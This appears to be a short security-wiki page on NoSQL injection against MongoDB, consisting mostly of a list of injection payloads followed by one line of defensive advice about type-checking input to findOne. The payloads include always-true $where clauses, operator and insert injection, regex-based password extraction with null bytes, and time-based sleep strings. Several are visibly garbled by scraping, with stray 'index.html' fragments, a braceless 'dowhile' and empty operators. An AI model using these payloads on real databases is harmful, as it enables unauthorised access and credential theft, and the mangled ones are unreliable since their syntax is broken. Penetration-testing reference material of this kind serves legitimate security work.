Link to this headingNoSQL
NOSQL-injection
hacktricks Wiki
Payloads:
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
', $or: , $comment:'successful MongoDB injection'
db.injection.insert();
db.injection.insert();return 1;db.stores.mapReduce(function() ,
' && this.password.match(/.*/index.html)//+%00
' && this.passwordzz.match(/.*/index.html)//+%00
'%20%26%26%20this.password.match(/.*/index.html)//+%00
'%20%26%26%20this.passwordzz.match(/.*/index.html)//+%00
=1
';sleep(5000);
';it=new%20Date();dowhile(pt-it<5000);
Link to this headingFindOne Injection
Insure that the incoming variable that is going into the FindOne function is a string and not a object. If it is an object then it can be passed to the findOne function and preform injections.